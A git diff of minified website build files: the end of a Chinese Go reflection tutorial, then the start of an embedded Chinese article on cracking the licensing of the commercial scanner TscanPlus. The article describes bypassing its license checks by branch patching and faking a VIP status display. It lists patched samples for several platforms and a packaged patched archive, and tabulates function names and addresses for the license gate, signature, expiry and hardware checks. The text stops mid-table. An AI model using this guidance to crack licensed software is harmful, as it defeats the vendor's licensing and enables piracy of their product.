Type Type // \u5b57\u6bb5\u7684\u7c7b\u578b\n Tag StructTag // \u5b57\u6bb5\u7684\u6807\u7b7e\n Offset uintptr // \u5b57\u6bb5\u5728\u7ed3\u6784\u4f53\u4e2d\u7684\u5b57\u8282\u504f\u79fb\u91cf\n Index []int // \u7528\u4e8eType.FieldByIndex\u65f6\u7684\u7d22\u5f15\u5207\u7247\n Anonymous bool // \u662f\u5426\u533f\u540d\u5b57\u6bb5\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"\u7ed3\u6784\u4f53\u53cd\u5c04\u793a\u4f8b",children:"\u7ed3\u6784\u4f53\u53cd\u5c04\u793a\u4f8b"}),"\n",(0,i.jsx)(n.p,{children:"\u5f53\u6211\u4eec\u4f7f\u7528\u53cd\u5c04\u5f97\u5230\u4e00\u4e2a\u7ed3\u6784\u4f53\u6570\u636e\u4e4b\u540e\u53ef\u4ee5\u901a\u8fc7\u7d22\u5f15\u4f9d\u6b21\u83b7\u53d6\u5176\u5b57\u6bb5\u4fe1\u606f\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u5b57\u6bb5\u540d\u53bb\u83b7\u53d6\u6307\u5b9a\u7684\u5b57\u6bb5\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'type student struct {\n\tName string `json:"name"`\n\tScore int `json:"score"`\n}\n\nfunc main() {\n\tstu1 := student{\n\t\tName: "\u5c0f\u738b\u5b50",\n\t\tScore: 90,\n\t}\n\n\tt := reflect.TypeOf(stu1)\n\tfmt.Println(t.Name(), t.Kind()) // student struct\n\t// \u901a\u8fc7for\u5faa\u73af\u904d\u5386\u7ed3\u6784\u4f53\u7684\u6240\u6709\u5b57\u6bb5\u4fe1\u606f\n\tfor i := 0; i < t.NumField(); i++ {\n\t\tfield := t.Field(i)\n\t\tfmt.Printf("name:%s index:%d type:%v json tag:%v\\n", field.Name, field.Index, field.Type, field.Tag.Get("json"))\n\t}\n\n\t// \u901a\u8fc7\u5b57\u6bb5\u540d\u83b7\u53d6\u6307\u5b9a\u7ed3\u6784\u4f53\u5b57\u6bb5\u4fe1\u606f\n\tif scoreField, ok := t.FieldByName("Score"); ok {\n\t\tfmt.Printf("name:%s index:%d type:%v json tag:%v\\n", scoreField.Name, scoreField.Index, scoreField.Type, scoreField.Tag.Get("json"))\n\t}\n}\n'})}),"\n",(0,i.jsxs)(n.p,{children:["\u63a5\u4e0b\u6765\u7f16\u5199\u4e00\u4e2a\u51fd\u6570",(0,i.jsx)(n.code,{children:"printMethod(s interface{})"}),"\u6765\u904d\u5386\u6253\u5370s\u5305\u542b\u7684\u65b9\u6cd5\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// \u7ed9student\u6dfb\u52a0\u4e24\u4e2a\u65b9\u6cd5 Study\u548cSleep(\u6ce8\u610f\u9996\u5b57\u6bcd\u5927\u5199)\nfunc (s student) Study() string {\n\tmsg := "\u597d\u597d\u5b66\u4e60\uff0c\u5929\u5929\u5411\u4e0a\u3002"\n\tfmt.Println(msg)\n\treturn msg\n}\n\nfunc (s student) Sleep() string {\n\tmsg := "\u597d\u597d\u7761\u89c9\uff0c\u5feb\u5feb\u957f\u5927\u3002"\n\tfmt.Println(msg)\n\treturn msg\n}\n\nfunc printMethod(x interface{}) {\n\tt := reflect.TypeOf(x)\n\tv := reflect.ValueOf(x)\n\n\tfmt.Println(t.NumMethod())\n\tfor i := 0; i < v.NumMethod(); i++ {\n\t\tmethodType := v.Method(i).Type()\n\t\tfmt.Printf("method name:%s\\n", t.Method(i).Name)\n\t\tfmt.Printf("method:%s\\n", methodType)\n\t\t// \u901a\u8fc7\u53cd\u5c04\u8c03\u7528\u65b9\u6cd5\u4f20\u9012\u7684\u53c2\u6570\u5fc5\u987b\u662f []reflect.Value \u7c7b\u578b\n\t\tvar args = []reflect.Value{}\n\t\tv.Method(i).Call(args)\n\t}\n}\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u53cd\u5c04\u662f\u628a\u53cc\u5203\u5251",children:"\u53cd\u5c04\u662f\u628a\u53cc\u5203\u5251"}),"\n",(0,i.jsx)(n.p,{children:"\u53cd\u5c04\u662f\u4e00\u4e2a\u5f3a\u5927\u5e76\u5bcc\u6709\u8868\u73b0\u529b\u7684\u5de5\u5177\uff0c\u80fd\u8ba9\u6211\u4eec\u5199\u51fa\u66f4\u7075\u6d3b\u7684\u4ee3\u7801\u3002\u4f46\u662f\u53cd\u5c04\u4e0d\u5e94\u8be5\u88ab\u6ee5\u7528\uff0c\u539f\u56e0\u6709\u4ee5\u4e0b\u4e09\u4e2a\u3002"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsx)(n.li,{children:"\u57fa\u4e8e\u53cd\u5c04\u7684\u4ee3\u7801\u662f\u6781\u5176\u8106\u5f31\u7684\uff0c\u53cd\u5c04\u4e2d\u7684\u7c7b\u578b\u9519\u8bef\u4f1a\u5728\u771f\u6b63\u8fd0\u884c\u7684\u65f6\u5019\u624d\u4f1a\u5f15\u53d1panic\uff0c\u90a3\u5f88\u53ef\u80fd\u662f\u5728\u4ee3\u7801\u5199\u5b8c\u7684\u5f88\u957f\u65f6\u95f4\u4e4b\u540e\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u5927\u91cf\u4f7f\u7528\u53cd\u5c04\u7684\u4ee3\u7801\u901a\u5e38\u96be\u4ee5\u7406\u89e3\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u53cd\u5c04\u7684\u6027\u80fd\u4f4e\u4e0b\uff0c\u57fa\u4e8e\u53cd\u5c04\u5b9e\u73b0\u7684\u4ee3\u7801\u901a\u5e38\u6bd4\u6b63\u5e38\u4ee3\u7801\u8fd0\u884c\u901f\u5ea6\u6162\u4e00\u5230\u4e24\u4e2a\u6570\u91cf\u7ea7\u3002"}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/c9001ee2.ca1e793e.js b/assets/js/c9001ee2.ca1e793e.js new file mode 100644 index 0000000..e19a942 --- /dev/null +++ b/assets/js/c9001ee2.ca1e793e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9028],{28453:(e,n,d)=>{d.d(n,{R:()=>i,x:()=>l});var c=d(96540);const s={},r=c.createContext(s);function i(e){const n=c.useContext(r);return c.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),c.createElement(r.Provider,{value:n},e.children)}},70113:(e,n,d)=>{d.r(n),d.d(n,{assets:()=>x,contentTitle:()=>l,default:()=>t,frontMatter:()=>i,metadata:()=>c,toc:()=>h});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","title":"TscanPlus \u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/12.\u9006\u5411\u7834\u89e3/01.TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/12.\u9006\u5411\u7834\u89e3","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/12.\u9006\u5411\u7834\u89e3/01.TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6 Atlantic \u4e00\u5e74 | \u7f8e\u56fd| \u52a0\u62ff\u5927|\u82f1\u56fd|VPS\u4e91\u4e3b\u673a","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a"},"next":{"title":"\u66f4\u65b0\u65e5\u5fd7","permalink":"/docs/\u66f4\u65b0\u65e5\u5fd7"}}');var s=d(74848),r=d(28453);const i={},l="TscanPlus \u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3",x={},h=[{value:"0. \u6837\u672c",id:"0-\u6837\u672c",level:2},{value:"1. \u6388\u6743\u67b6\u6784\uff08IDA \u5b9a\u4f4d\uff0c\u6837\u672c A\uff09",id:"1-\u6388\u6743\u67b6\u6784ida-\u5b9a\u4f4d\u6837\u672c-a",level:2},{value:"2. \u65b9\u6cd5 B\uff1a\u5206\u652f\u8865\u4e01\uff08\u6837\u672c A\uff0c\u5df2\u9a8c\u8bc1\u53ef\u7528\uff09",id:"2-\u65b9\u6cd5-b\u5206\u652f\u8865\u4e01\u6837\u672c-a\u5df2\u9a8c\u8bc1\u53ef\u7528",level:2},{value:"3. Keygen\uff08murmur3-32 seed 0 + nibble \u6298\u53e0\uff09",id:"3-keygenmurmur3-32-seed-0--nibble-\u6298\u53e0",level:2},{value:"4. \u8fd0\u884c\u9a8c\u8bc1\uff08\u6837\u672c A\uff09",id:"4-\u8fd0\u884c\u9a8c\u8bc1\u6837\u672c-a",level:2},{value:"5. "\u628a Vip\u72b6\u6001 \u8ba4\u8bc1\u5230 2099 \u5e74" \u2014\u2014 \u6837\u672c A \u4e0a\u672a\u95ed\u5408\uff0c\u539f\u56e0\u8bb0\u5f55",id:"5-\u628a-vip\u72b6\u6001-\u8ba4\u8bc1\u5230-2099-\u5e74--\u6837\u672c-a-\u4e0a\u672a\u95ed\u5408\u539f\u56e0\u8bb0\u5f55",level:2},{value:"5.1 \u4e3a\u4ec0\u4e48\u4e0d\u80fd\u76f4\u63a5\u6539\u5b57\u7b26\u4e32",id:"51-\u4e3a\u4ec0\u4e48\u4e0d\u80fd\u76f4\u63a5\u6539\u5b57\u7b26\u4e32",level:3},{value:"5.2 \u8bd5\u8fc7\u7684"\u76f4\u8def"\uff08runtime.printstring\uff09\u4e0e\u5931\u8d25\u539f\u56e0",id:"52-\u8bd5\u8fc7\u7684\u76f4\u8defruntimeprintstring\u4e0e\u5931\u8d25\u539f\u56e0",level:3},{value:"5.3 \u6837\u672c A \u4e0a\u82e5\u4ecd\u8981 2099\uff0c\u53ea\u6709\u4e24\u6761\u8def",id:"53-\u6837\u672c-a-\u4e0a\u82e5\u4ecd\u8981-2099\u53ea\u6709\u4e24\u6761\u8def",level:3},{value:"6. \u590d\u73b0\u6e05\u5355",id:"6-\u590d\u73b0\u6e05\u5355",level:2},{value:"7. \u5de5\u5177\u4e0e\u76ee\u5f55\u7ea6\u5b9a\uff08\u4e3a\u4ec0\u4e48\u811a\u672c\u548c\u6570\u636e\u5206\u5f00\u653e\uff09",id:"7-\u5de5\u5177\u4e0e\u76ee\u5f55\u7ea6\u5b9a\u4e3a\u4ec0\u4e48\u811a\u672c\u548c\u6570\u636e\u5206\u5f00\u653e",level:2},{value:"8. Windows \u7248\uff08\u6837\u672c C\uff09\u2014\u2014 IDA \u91cc\u770b\u4e0d\u5230\u51fd\u6570/\u5b57\u7b26\u4e32\u7684\u539f\u56e0\u4e0e\u7834\u89e3",id:"8-windows-\u7248\u6837\u672c-c-ida-\u91cc\u770b\u4e0d\u5230\u51fd\u6570\u5b57\u7b26\u4e32\u7684\u539f\u56e0\u4e0e\u7834\u89e3",level:2},{value:"8.1 \u4e3a\u4ec0\u4e48 IDA \u7684 IDB \u662f\u7a7a\u7684",id:"81-\u4e3a\u4ec0\u4e48-ida-\u7684-idb-\u662f\u7a7a\u7684",level:3},{value:"8.2 x64 \u7248\u65b9\u6cd5 B\uff08\u957f\u5ea6\u4e0d\u53d8\uff0c\u6539\u5b8c\u76f4\u63a5\u80fd\u8dd1\uff0c\u4e0d\u9700\u8981\u91cd\u7b7e\u540d\uff09",id:"82-x64-\u7248\u65b9\u6cd5-b\u957f\u5ea6\u4e0d\u53d8\u6539\u5b8c\u76f4\u63a5\u80fd\u8dd1\u4e0d\u9700\u8981\u91cd\u7b7e\u540d",level:3},{value:"8.3 \u5728 Windows \u673a\u5668\u4e0a\u7684\u5b9e\u6d4b\uff08ssh admin@192.168.1.120\uff09",id:"83-\u5728-windows-\u673a\u5668\u4e0a\u7684\u5b9e\u6d4bssh-admin1921681120",level:3},{value:"8.4 \u56de\u7b54"web \u91cc\u8f93\u5165\u4f2a\u9020 key \u63d0\u793a\u65e0\u6548 key"",id:"84-\u56de\u7b54web-\u91cc\u8f93\u5165\u4f2a\u9020-key-\u63d0\u793a\u65e0\u6548-key",level:3},{value:"8.5 2099 \u5728 Windows \u7248\u4e0a\u662f\u53ef\u4ee5\u505a\u5230\u7684\uff08\u5df2\u5b9e\u6d4b\uff09",id:"85-2099-\u5728-windows-\u7248\u4e0a\u662f\u53ef\u4ee5\u505a\u5230\u7684\u5df2\u5b9e\u6d4b",level:3},{value:"9. \u8de8\u6784\u5efa\u8865\u4e01\u70b9\u5bf9\u7167",id:"9-\u8de8\u6784\u5efa\u8865\u4e01\u70b9\u5bf9\u7167",level:2},{value:"10. \u8e29\u5751\u8bb0\u5f55\uff08\u8fd9\u4e9b\u5751\u6211\u90fd\u5b9e\u9645\u8e29\u8fc7\uff09",id:"10-\u8e29\u5751\u8bb0\u5f55\u8fd9\u4e9b\u5751\u6211\u90fd\u5b9e\u9645\u8e29\u8fc7",level:2},{value:"11. \u8fb9\u754c\uff08\u54ea\u4e9b\u4e8b\u505a\u4e0d\u5230\uff09",id:"11-\u8fb9\u754c\u54ea\u4e9b\u4e8b\u505a\u4e0d\u5230",level:2}];function j(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",hr:"hr",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"tscanplus-\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3",children:"TscanPlus \u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-10-18 19:35:21"})]})})]}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u7531\u4e8e\u4f20\u64ad\u3001\u5229\u7528\u672c\u6587\u6240\u63d0\u4f9b\u7684\u4fe1\u606f\u800c\u9020\u6210\u7684\u4efb\u4f55\u76f4\u63a5\u6216\u8005\u95f4\u63a5\u7684\u540e\u679c\u53ca\u635f\u5931\uff0c\u5747\u7531\u4f7f\u7528\u8005\u672c\u4eba\u8d1f\u8d23\uff0c\u516c\u4f17\u53f7\u53ca\u4f5c\u8005\u4e0d\u4e3a\u6b64\u627f\u62c5\u4efb\u4f55\u8d23\u4efb\uff0c\u4e00\u65e6\u9020\u6210\u540e\u679c\u8bf7\u81ea\u884c\u627f\u62c5\uff01\u5982\u6709\u4fb5\u6743\u70e6\u8bf7\u544a\u77e5\uff0c\u6211\u4eec\u4f1a\u7acb\u5373\u5220\u9664\u5e76\u81f4\u6b49\u3002\u8c22\u8c22\uff01"}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"\u7ed3\u8bba\u5148\u8bf4"}),"\uff1a\u8fd9\u662f",(0,s.jsx)(n.strong,{children:"\u7ed5\u8fc7 + \u663e\u793a\u5c42\u6539\u5199"}),'\uff0c\u4e0d\u662f keygen \u7834\u89e3\u3002\u6388\u6743\u8bb0\u5f55\u8d70 ECDSA\uff08\u4e8c\u8fdb\u5236\u91cc\u53ea\u6709\u516c\u94a5\uff09\uff0c\u6fc0\u6d3b\u7801\u65e0\u6cd5\u79bb\u7ebf\u4f2a\u9020\uff1b\u8bb0\u5f55\u8fd8\u7ed1\u786c\u4ef6\uff0c\u8de8\u673a\u5668\u4e0d\u53ef\u590d\u7528\u3002\u4e0b\u9762\u6240\u6709"\u7834\u89e3"\u6307\u7684\u662f\uff1a\u8ba9\u6821\u9a8c\u5206\u652f\u6052\u4e0d\u89e6\u53d1\uff0c\u8ba9\u754c\u9762\u663e\u793a ',(0,s.jsx)(n.code,{children:"\u8ba4\u8bc1Vip\u7248"})," \u548c\u4e00\u4e2a\u5047\u65e5\u671f\u3002"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"0-\u6837\u672c",children:"0. \u6837\u672c"}),"\n",(0,s.jsxs)(n.p,{children:["\u56db\u4efd\u6837\u672c\uff0c\u540c\u4e00\u5957 garble \u540d\u5b57\uff08",(0,s.jsx)(n.code,{children:"B0Uu8RPrb2"}),"\u3001",(0,s.jsx)(n.code,{children:"O7rc6qW0L"}),"\u3001",(0,s.jsx)(n.code,{children:"Tmfc2rYXRKJT"}),"\u3001",(0,s.jsx)(n.code,{children:"CSfeFGrv"}),"\u3001",(0,s.jsx)(n.code,{children:"RVNs3NL5L"}),"\u3001",(0,s.jsx)(n.code,{children:"XrgIp0N_yO"}),"\u3001",(0,s.jsx)(n.code,{children:"UNXx_ve6"}),"\u3001",(0,s.jsx)(n.code,{children:"Ju1zV6nVMwrMz0"}),"\u3001",(0,s.jsx)(n.code,{children:"PKVcmcz2RL7Dh"}),"\uff09\uff0c\u4f46",(0,s.jsx)(n.strong,{children:"\u5730\u5740\u6bcf\u4efd\u90fd\u4e0d\u540c"})," \u2014\u2014 \u7528\u7b2c 9 \u8282\u7684\u8868\u9010\u4efd\u5bf9\u7167\uff0c\u522b\u628a A \u7684\u5730\u5740\u7528\u5728 B \u4e0a\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u7f16\u53f7"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u6837\u672c"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u683c\u5f0f"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u7248\u672c"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u5206\u652f\u8865\u4e01"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u663e\u793a\u4e32\uff082099\uff09"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u5b9e\u6d4b"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"A"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"/tmp/ctf/tscan_plus"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Mach-O arm64"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"3.5.3"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2717\uff08\u8fd0\u884c\u65f6\u89e3\u7801\uff09"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"B"}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,s.jsx)(n.code,{children:"TscanPlus_Mac_Amd64.dmg"})," \u5185 ",(0,s.jsx)(n.code,{children:"Contents/MacOS/TscanPlus"})]}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Mach-O x86_64"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"3.5.4"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:["\u2717\uff08",(0,s.jsx)(n.code,{children:"\u672a\u8ba4\u8bc1"})," \u65e0\u4ee3\u7801\u5f15\u7528\uff09"]}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713\uff08Rosetta\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"C"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"~/Downloads/TscanPlus_Win_Amd64.exe"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"PE x86-64\uff08UPX\uff09"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"3.5.3"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713\uff08Windows \u5b9e\u6d4b\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"D"}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,s.jsx)(n.code,{children:"~/Downloads/TscanPlus_Win_Arm64.zip"})," \u5185 exe"]}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:["PE ",(0,s.jsx)(n.strong,{children:"x86-64"}),"\uff08UPX\uff0c\u6587\u4ef6\u540d\u8bef\u6807 arm64\uff09"]}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"3.5.4"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713\uff08Windows \u5b9e\u6d4b\uff09"})]})]})]}),"\n",(0,s.jsxs)(n.p,{children:["\u4ea7\u7269\u4e0e\u811a\u672c\uff1a",(0,s.jsx)(n.code,{children:"/tmp/ctf_crack/"}),"\uff08A\uff09\u3001",(0,s.jsx)(n.code,{children:"/tmp/ctf_crack_win/"}),"\uff08C\uff09\u3001",(0,s.jsx)(n.code,{children:"/tmp/ctf_work/patch_*.py"}),"\uff1b\u6253\u5305\u5728 ",(0,s.jsx)(n.code,{children:"~/Downloads/Tscan_Plus_3.5.4.patched_all.zip"}),"\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u9879\u76ee\u4e3a TideSec TscanPlus\uff08Wails GUI\uff09\uff0c\u6388\u6743\u903b\u8f91\u5728 ",(0,s.jsx)(n.code,{children:"TscanGui/conf"})," + ",(0,s.jsx)(n.code,{children:"TscanGui/internal/cli"}),"\u3002"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"1-\u6388\u6743\u67b6\u6784ida-\u5b9a\u4f4d\u6837\u672c-a",children:"1. \u6388\u6743\u67b6\u6784\uff08IDA \u5b9a\u4f4d\uff0c\u6837\u672c A\uff09"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{children:"\u4f5c\u7528"}),(0,s.jsx)(n.th,{children:"\u51fd\u6570"}),(0,s.jsx)(n.th,{children:"\u5730\u5740"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"CLI \u6388\u6743\u95f8\u95e8\uff08\u771f\u6b63\u6821\u9a8c\u5165\u53e3\uff09"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"TscanGui_internal_cli.runLicenseCheck"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x102a89330"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"Key \u89e3\u6790 / \u5b57\u6bb5\u6821\u9a8c"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.B0Uu8RPrb2"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x10047ad30"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"Key \u683c\u5f0f\u6821\u9a8c"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.Tmfc2rYXRKJT"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x100476d10"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsxs)(n.td,{children:["\u7b7e\u540d\u6821\u9a8c ",(0,s.jsx)(n.code,{children:'B7CIv4PLX("phase3", f1) == f4'})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.O7rc6qW0L"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x10047a2c0"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsxs)(n.td,{children:["\u65f6\u95f4\u5b57\u6bb5\u6821\u9a8c ",(0,s.jsx)(n.code,{children:"f3 < 1797379200"})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.PKVcmcz2RL7Dh"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x10047fc10"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"murmur3-32(seed 0) + nibble \u6298\u53e0"}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"conf.B7CIv4PLX"})," / ",(0,s.jsx)(n.code,{children:"conf.XSMB4O0fIIE2W"})]}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"0x100476a70"})," / ",(0,s.jsx)(n.code,{children:"0x100470c90"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"\u786c\u4ef6\u6307\u7eb9\uff08sysctl CPU \u54c1\u724c + \u7269\u7406\u7f51\u5361 MAC\uff09"}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"conf.SOPBYsgV"})," / ",(0,s.jsx)(n.code,{children:"conf.Z5NrYd0V4gEq"})]}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"0x1004809c0"})," / ",(0,s.jsx)(n.code,{children:"0x100480a70"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"\u5d4c\u5165\u5e38\u91cf\u81ea\u4e00\u81f4\u6027\u6821\u9a8c"}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"conf.CSfeFGrv"})," / ",(0,s.jsx)(n.code,{children:"conf.RVNs3NL5L"})]}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"0x1004ab7f0"})," / 